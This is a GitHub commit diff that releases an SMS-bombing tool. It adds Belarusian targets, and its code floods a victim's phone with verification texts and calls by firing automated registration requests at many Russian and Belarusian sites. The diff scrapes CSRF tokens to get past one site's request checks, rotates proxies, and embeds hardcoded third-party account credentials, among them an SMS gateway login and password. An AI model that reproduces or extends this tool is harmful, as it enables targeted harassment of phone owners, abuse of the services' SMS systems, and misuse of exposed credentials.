Skip to content

Commit 96b6409

Browse files
committed
release bomber, add spam to BY | +2 services for RU, +6 services to BY
1 parent b6bbdc7 commit 96b6409

File tree

4 files changed

+94
-12
lines changed

4 files changed

+94
-12
lines changed

tools/sender.py

Lines changed: 22 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,16 +1,22 @@
11
import json
22
import time
33
import requests
4+
from bs4 import BeautifulSoup
45
from fake_useragent import UserAgent
56

67
# services list
78
services_list = []
9+
services_list_by = []
810
with open('tools/services.json') as f:
911
services = json.load(f)
10-
services = services['ru'][0]
11-
for i in services:
12+
services_ru = services['ru'][0]
13+
for i in services_ru:
1214
services_list.append(i)
1315

16+
services_by = services['by'][0]
17+
for i in services_by:
18+
services_list_by.append(i)
19+
1420
class Send:
1521
def parse(self):
1622
services_list = []
@@ -95,7 +101,9 @@ def json_parse(self, payload, datatype, country, phone):
95101
"'": '"',
96102
"*+phone*": phone[0],
97103
"*phone*": phone[1],
98-
"*-phone*": phone[2]
104+
"*-phone*": phone[2],
105+
"*green*": phone[3],
106+
"*sosedi*": phone[4]
99107
}.items():
100108
if old in payload:
101109
payload = payload.replace(old, new)
@@ -110,7 +118,7 @@ def json_processing(self, phone):
110118
country = "ru"
111119

112120
# load json
113-
with open('tools/services.json') as f:
121+
with open('tools/services.json', encoding="utf-8") as f:
114122
services = json.load(f)
115123
# Getting services by country
116124
self.services = services[country][0]
@@ -202,6 +210,16 @@ def spam(self, service, phone, proxy=None):
202210
r = session.post(url, data=data, timeout=10, proxies=proxy, cookies=cookies, headers=headers)
203211
elif self.service == "stockmann":
204212
r = requests.get(url, timeout=10, proxies=proxy, headers=headers)
213+
elif self.service == "green":
214+
site = session.get(self.cookie["green"], headers=self.default_headers).text # parse token
215+
soup = BeautifulSoup(site, "html.parser")
216+
head = soup.find("head")
217+
a = []
218+
for i in head:
219+
a.append(i)
220+
token = str(a[7]).split('"')[1]
221+
headers["X-CSRF-TOKEN"] = token
222+
r = session.post(url, data, headers=headers, timeout=10, proxies=proxy)
205223
else:
206224
r = session.post(url, json=json_, data=data, timeout=10, proxies=proxy, cookies=cookies, headers=headers)
207225
if self.response_services[self.service] == "json":

tools/services.json

Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -132,11 +132,31 @@
132132
"timeout": 30,
133133
"cookies": "https://sunlight.net/profile/login/?next_encoded=Lw=="
134134
},
135+
"ok.ru": {
136+
"url": "https://ok.ru/dk?cmd=AnonymRegistrationEnterPhone&st.cmd=anonymRegistrationEnterPhone&st.cmd=anonymRegistrationEnterPhone",
137+
"data": "{'st.r.phone': '*phone*'}",
138+
"response": 200,
139+
"timeout": 60,
140+
"cookies": "https://ok.ru/"
141+
},
135142
"citystar": {
136143
"url": "https://citystarwear.com/bitrix/templates/bspc/php/bs.auth.sms/templates/pc/handlers.php",
137144
"data": "{'hdlr': 'bsSendCodeAuth','bshsmsk': 'h5Plm22xoaFs9YTp', 'phone': '*-phone*', 'xemail': '', 'xphone': ''}",
138145
"response": 200,
139146
"timeout": 180
147+
},
148+
"beerlogapizza": {
149+
"url": "https://smsc.ru/sys/send.php",
150+
"data": "{'login': '[email protected]', 'psw': 'QWE780p', 'phones': '*+phone*', 'mes': 'code', 'call': '1', 'fmt': '3'}",
151+
"response": 200,
152+
"timeout": 60,
153+
"cookies": "https://beerlogapizza.ru/login/"
154+
},
155+
"pizzamia":{
156+
"url": "https://1603.smartomato.ru/account/session",
157+
"data": "{'g-recaptcha-response': 'null','phone': '*phone3*'}",
158+
"response": 200,
159+
"timeout": 60
140160
}
141161
}
142162
],
@@ -148,6 +168,49 @@
148168
"data": "{'phone': '*+phone*'}",
149169
"response": 200,
150170
"timeout": 120
171+
},
172+
"green": {
173+
"url": "https://www.green-market.by/registration_send_sms_code",
174+
"data": "{'phone': '*green*'}",
175+
"headers": {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7", "Cache-Control": "no-cache", "Connection": "keep-alive", "User-Agent": "", "X-CSRF-TOKEN": "", "X-Requested-With": "XMLHttpRequest"},
176+
"response": 200,
177+
"timeout": 60,
178+
"cookies": "https://www.green-market.by/"
179+
},
180+
"ok.ru": {
181+
"url": "https://ok.ru/dk?cmd=AnonymRegistrationEnterPhone&st.cmd=anonymRegistrationEnterPhone&st.cmd=anonymRegistrationEnterPhone",
182+
"data": "{'st.r.phone': '*+phone*'}",
183+
"response": 200,
184+
"timeout": 60,
185+
"cookies": "https://ok.ru/"
186+
},
187+
"sosedi": {
188+
"url": "https://sosedi.by/local/api/smsSend.php",
189+
"json": "{'phone':'*sosedi*'}",
190+
"response": 200,
191+
"timeout": 60,
192+
"cookies": "https://sosedi.by/"
193+
},
194+
"av.by": {
195+
"url": "https://api.av.by/auth/phone/sign-up",
196+
"json": "{\"name\":\"Олег\",\"password\":\"HifbWy523i46oO\",\"phone\":{\"country\":1,\"number\":\"*-phone*\"},\"userEula\":{\"accepted\":true}}",
197+
"response": 204,
198+
"timeout": 60,
199+
"cookies": "https://av.by"
200+
},
201+
"carte": {
202+
"url": "https://carte.by/auth/",
203+
"data": "{'ajax': 'register', 'login': 'Olegkiller229', 'pass': 'CbivnE5316', 'phone': '*+phone*', 'code': '', 'company': 0, 'resend': 1, 'checksum': 675}",
204+
"response": 200,
205+
"timeout": 30,
206+
"cookies": "https://carte.by/"
207+
},
208+
"delivio": {
209+
"url": "https://delivio.by/be/api/register",
210+
"json": "{'phone': '*+phone*'}",
211+
"response": 201,
212+
"timeout": 60,
213+
"cookies": "https://delivio.by/"
151214
}
152215
}
153216
]

tools/tools.py

Lines changed: 8 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -47,13 +47,16 @@ def FormattingNumber(number, country):
4747
numb_1 = numb
4848
numb_2 = numb[1:]
4949
numb_3 = numb[4:]
50+
numb_4 = numb[:4] + ' (' + numb[4:6] + ") " + numb[6:9] + '-' + numb[9:11] + '-' + numb[11:13]
51+
numb_5 = numb[:4] + ' (' + numb[4:6] + ") " + numb[6:9] +numb[9:11] +numb[11:13]
5052
elif numb[0:1] == "3" or numb[0:3] == "375": # 123456789012
5153
numb_1 = "+"+numb
5254
numb_2 = numb
5355
numb_3 = numb[3:]
54-
56+
numb_4 = '+' + numb[:3] + ' (' + numb[3:5] + ") " + numb[5:8] + '-' + numb[8:10] + '-' + numb[10:12]
57+
numb_5 = numb_1[:4] + ' (' + numb_1[4:6] + ") " + numb_1[6:9] +numb_1[9:11] +numb_1[11:13]
5558
if country == "by":
56-
return numb_1, numb_2, numb_3
59+
return numb_1, numb_2, numb_3, numb_4, numb_5
5760
elif country == "ru":
5861
return numb_1, numb_2, numb_3, numb_4, numb_5, numb_6, numb_7, numb_8
5962

@@ -223,16 +226,14 @@ def start_input():
223226
print("")
224227
print(colored("[99] Отмена", "red"))
225228
print("")
226-
print(colored("[1]", "red"), colored("Беларусь +375", "blue"), colored("В РАЗРАБОТКЕ", "red"))
229+
print(colored("[1]", "red"), colored("Беларусь +375", "blue"))
227230
print(colored("[2]", "red"), colored("Россия +7", "cyan"))
228231
print("")
229232
ct = input(colored("Выберите страну: ", "green"))
230233
if ct == "2":
231234
break
232235
elif ct == "1":
233-
print("")
234-
print(colored("Спам на беларусь находиться в разработке", "yellow"))
235-
print("")
236+
break
236237
elif ct == "99":
237238
return 0, 0, 0
238239
while True:
@@ -572,7 +573,7 @@ def start(number, country, proxy_=None):
572573
if country == "ru":
573574
services_list = send.services_list
574575
else:
575-
services_list = None
576+
services_list = send.services_list_by
576577
starting_spam = True
577578
circles = 0
578579
circles_2 = 1

tools/version.txt

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
1.2.3 Beta
1+
1.0 release

0 commit comments

Comments
 (0)